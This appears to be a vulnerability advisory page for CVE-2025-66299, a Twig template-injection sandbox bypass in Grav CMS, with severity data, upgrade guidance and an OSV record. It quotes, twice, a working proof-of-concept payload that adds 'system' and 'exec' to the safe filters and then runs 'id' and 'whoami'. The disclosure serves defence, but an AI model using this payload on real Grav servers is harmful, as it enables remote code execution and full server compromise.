CVE-2025-66299: Getgrav/grav Grav Is Vulnerable To Security Vulnerability

HIGH
Advisory Identifier: GHSA-gjc5-8cfh-653x
CVSS 8.8
CWE-94 CWE-1336
Published
Advisory Summary

CVE-2025-66299 is a HIGH (CVSS 8.8) grav is vulnerable to security vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Getgrav/grav libraries in the Packagist ecosystem. The issue involves grav is vulnerable to security sandbox bypass with ssti (server side template injection). Remediation is available by upgrading affected packages to version 1.8.0-beta.27.

CVE-2025-66299 at a Glance

CVE Identifier CVE-2025-66299
GHSA Identifier GHSA-gjc5-8cfh-653x
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product Getgrav/grav
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2025-66299

To remediate this vulnerability, upgrade all affected Getgrav/grav dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

getgrav/grav fixed: 1.8.0-beta.27
Upgrade getgrav/grav to 1.8.0-beta.27
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for getgrav/grav

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-66299, inspect your project dependencies for Getgrav/grav:

inspect dependencies for getgrav/grav

Analyze the terminal output to locate any version of Getgrav/grav in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.8.0-beta.27), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Getgrav/grav, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Grav CMS is vulnerable to a Server-Side Template Injection (SSTI) that allows any authenticated user with editor permissions to execute arbitrary code on the remote server, bypassing the existing security sandbox. ## Details Grav CMS uses a custom sandbox to protect the powerful Twig methods such as `registerUndefinedFilterCallback()`. These methods are designed to prevent SSTI attacks by denying the execution of dangerous PHP functions (e.g., `exec()`, `passthru()`, `system()`, etc.) within Twig template directives. The current defense mechanism relies on a blacklist of prohibited functions (PHP, Twig), checked through the `isDangerousFunction()` method in the file `system/src/Grav/Common/Twig.php`: ```php $this->twig->registerUndefinedFilterCallback(function (string $name) use ($config) { $allowed = $config->get('system.twig.safe_filters'); if (is_array($allowed) && in_array($name, $allowed, true) && function_exists($name)) { return new TwigFilter($name, $name); } if ($config->get('system.twig.undefined_filters')) { if (function_exists($name)) { if (!Utils::isDangerousFunction($name)) { user_error("PHP function {$name}() used as Twig filter. This is deprecated in Grav 1.7. Please add it to system configuration: `system.twig.safe_filters`", E_USER_DEPRECATED); return new TwigFilter($name, $name); } /** @var Debugger $debugger */ $debugger = $this->grav['debugger']; $debugger->addException(new RuntimeException("Blocked potentially dangerous PHP function {$name}() being used as Twig filter. If you really want to use it, please add it to system configuration: `system.twig.safe_filters`")); } return new TwigFilter($name, static function () {}); } return false; }); ``` In this code, the `isDangerousFunction()` check is bypassed if the filter defined in the $name variable is considered safe. Only an administrator can mark a function as safe by adding it to the `system.twig.safe_filters` configuration properties (whitelists that are empty by default) in the `system/config/system.yaml` file. Notably, the Twig class is defined within the `system/src/Grav/Common/Twig.php` file, and the Twig object (and environment) is instantiated there: ```php /** * Class Twig * @package Grav\Common\Twig */ class Twig { /** @var Environment */ public $twig; /** @var array */ public $twig_vars = []; /** @var array */ public $twig_paths; /** @var string */ public $template; // Constructor public function __construct(Grav $grav) { $this->grav = $grav; $this->twig_paths = []; } // Twig initialization method public function init() { if (null === $this->twig) { /** @var Config $config */ $config = $this->grav['config']; /** @var UniformResourceLocator $locator */ $locator = $this->grav['locator']; /** @var Language $language */ $language = $this->grav['language']; $active_language = $language->getActive(); ... } } } ``` Since the security sandbox does not fully protect the Twig object, it is possible to interact with it (e.g., call methods, read/write attributes) through maliciously crafted Twig template directives injected into a web page. This allows an authenticated editor to add arbitrary functions to the Twig attribute `system.twig.safe_filters`, effectively bypassing the Grav CMS sandbox. ## Proof of Concept (PoC) An authenticated user with permission to edit a page (with Twig processing enabled) in the Grav CMS admin console can inject malicious template directives to execute arbitrary OS commands on the remote web server. For example, to exploit the vulnerability and execute the prohibited `system('id')` command, bypassing the sandbox, an editor could create/edit a web page with the following template directives: ```twig {% set arr = {'1':'system', '2':'exec'} %} {{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_filters', arr)) }} {{ 'id'|system }} {{ 'whoami'|exec }} ``` Once the page is saved, it can be accessed by unauthenticated users, triggering the execution of the `system('id')` command on the server hosting the vulnerable Grav CMS. ## Impact The vulnerability allows remote code execution on the underlying server, which could lead to full server compromise.

CVE-2025-66299 Affected Getgrav/grav Versions

1 component(s)
Fixed Versions:
1.8.0-beta.27
Product / Package Ecosystem Affected Versions Fixed Version
getgrav/grav
Packagist
< 1.8.0-beta.27
1.8.0-beta.27

References

Frequently Asked Questions

What is CVE-2025-66299?
CVE-2025-66299 is a security vulnerability in Getgrav/grav involving Grav is Vulnerable to Security Sandbox Bypass with SSTI (Server Side Template Injection) under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which Getgrav/grav versions are affected?
Affected versions include releases prior to 1.8.0-beta.27 across affected packages: getgrav/grav.
What version fixes CVE-2025-66299?
Upgrading to 1.8.0-beta.27 (or the latest patched release for your respective branch) resolves the vulnerability.
Is getgrav/grav affected?
Yes, getgrav/grav is affected in releases prior to 1.8.0-beta.27. Upgrade your dependency to 1.8.0-beta.27 or later.
What is the CVSS score of CVE-2025-66299?
CVE-2025-66299 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2025-66299?
CVE-2025-66299 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check Packagist dependencies for CVE-2025-66299?
Run the dependency tree command: 'inspect dependencies for getgrav/grav'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gjc5-8cfh-653x",
  "modified" : "2025-12-02T00:36:36Z",
  "published" : "2025-12-02T00:36:36Z",
  "aliases" : [ "CVE-2025-66299" ],
  "summary" : "Grav is Vulnerable to Security Sandbox Bypass with SSTI (Server Side Template Injection)",
  "details" : "## Summary\n\nGrav CMS is vulnerable to a Server-Side Template Injection (SSTI) that allows any authenticated user with editor permissions to execute arbitrary code on the remote server, bypassing the existing security sandbox.\n\n## Details\n\nGrav CMS uses a custom sandbox to protect the powerful Twig methods such as `registerUndefinedFilterCallback()`. These methods are designed to prevent SSTI attacks by denying the execution of dangerous PHP functions (e.g., `exec()`, `passthru()`, `system()`, etc.) within Twig template directives.\n\nThe current defense mechanism relies on a blacklist of prohibited functions (PHP, Twig), checked through the `isDangerousFunction()` method in the file `system/src/Grav/Common/Twig.php`:\n\n```php\n$this->twig->registerUndefinedFilterCallback(function (string $name) use ($config) {\n    $allowed = $config->get('system.twig.safe_filters');\n    if (is_array($allowed) && in_array($name, $allowed, true) && function_exists($name)) {\n        return new TwigFilter($name, $name);\n    }\n    if ($config->get('system.twig.undefined_filters')) {\n        if (function_exists($name)) {\n            if (!Utils::isDangerousFunction($name)) {\n                user_error(\"PHP function {$name}() used as Twig filter. This is deprecated in Grav 1.7. Please add it to system configuration: `system.twig.safe_filters`\", E_USER_DEPRECATED);\n\n                return new TwigFilter($name, $name);\n            }\n\n            /** @var Debugger $debugger */\n            $debugger = $this->grav['debugger'];\n            $debugger->addException(new RuntimeException(\"Blocked potentially dangerous PHP function {$name}() being used as Twig filter. If you really want to use it, please add it to system configuration: `system.twig.safe_filters`\"));\n        }\n\n        return new TwigFilter($name, static function () {});\n    }\n\n    return false;\n});\n```\n\nIn this code, the `isDangerousFunction()` check is bypassed if the filter defined in the $name variable is considered safe. Only an administrator can mark a function as safe by adding it to the `system.twig.safe_filters` configuration properties (whitelists that are empty by default) in the `system/config/system.yaml` file.\n\nNotably, the Twig class is defined within the `system/src/Grav/Common/Twig.php` file, and the Twig object (and environment) is instantiated there:\n\n```php\n/**\n * Class Twig\n * @package Grav\\Common\\Twig\n */\nclass Twig\n{\n    /** @var Environment */\n    public $twig;\n    /** @var array */\n    public $twig_vars = [];\n    /** @var array */\n    public $twig_paths;\n    /** @var string */\n    public $template;\n\n    // Constructor\n    public function __construct(Grav $grav)\n    {\n        $this->grav = $grav;\n        $this->twig_paths = [];\n    }\n\n    // Twig initialization method\n    public function init()\n    {\n        if (null === $this->twig) {\n            /** @var Config $config */\n            $config = $this->grav['config'];\n            /** @var UniformResourceLocator $locator */\n            $locator = $this->grav['locator'];\n            /** @var Language $language */\n            $language = $this->grav['language'];\n\n            $active_language = $language->getActive();\n        ...\n        }\n    }\n}\n```\n\nSince the security sandbox does not fully protect the Twig object, it is possible to interact with it (e.g., call methods, read/write attributes) through maliciously crafted Twig template directives injected into a web page. This allows an authenticated editor to add arbitrary functions to the Twig attribute `system.twig.safe_filters`, effectively bypassing the Grav CMS sandbox.\n\n## Proof of Concept (PoC)\nAn authenticated user with permission to edit a page (with Twig processing enabled) in the Grav CMS admin console can inject malicious template directives to execute arbitrary OS commands on the remote web server.\n\nFor example, to exploit the vulnerability and execute the prohibited `system('id')` command, bypassing the sandbox, an editor could create/edit a web page with the following template directives:\n\n```twig\n{% set arr = {'1':'system', '2':'exec'} %}\n{{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_filters', arr)) }}\n{{ 'id'|system }}\n{{ 'whoami'|exec }}\n```\n\nOnce the page is saved, it can be accessed by unauthenticated users, triggering the execution of the `system('id')` command on the server hosting the vulnerable Grav CMS.\n\n## Impact\nThe vulnerability allows remote code execution on the underlying server, which could lead to full server compromise.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "getgrav/grav"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.8.0-beta.27"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/getgrav/grav/security/advisories/GHSA-gjc5-8cfh-653x"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-66299"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/getgrav/grav/commit/e37259527d9c1deb6200f8967197a9fa587c6458"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/getgrav/grav"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1336", "CWE-94" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-12-02T00:36:36Z",
    "nvd_published_at" : "2025-12-01T22:15:49Z"
  }
}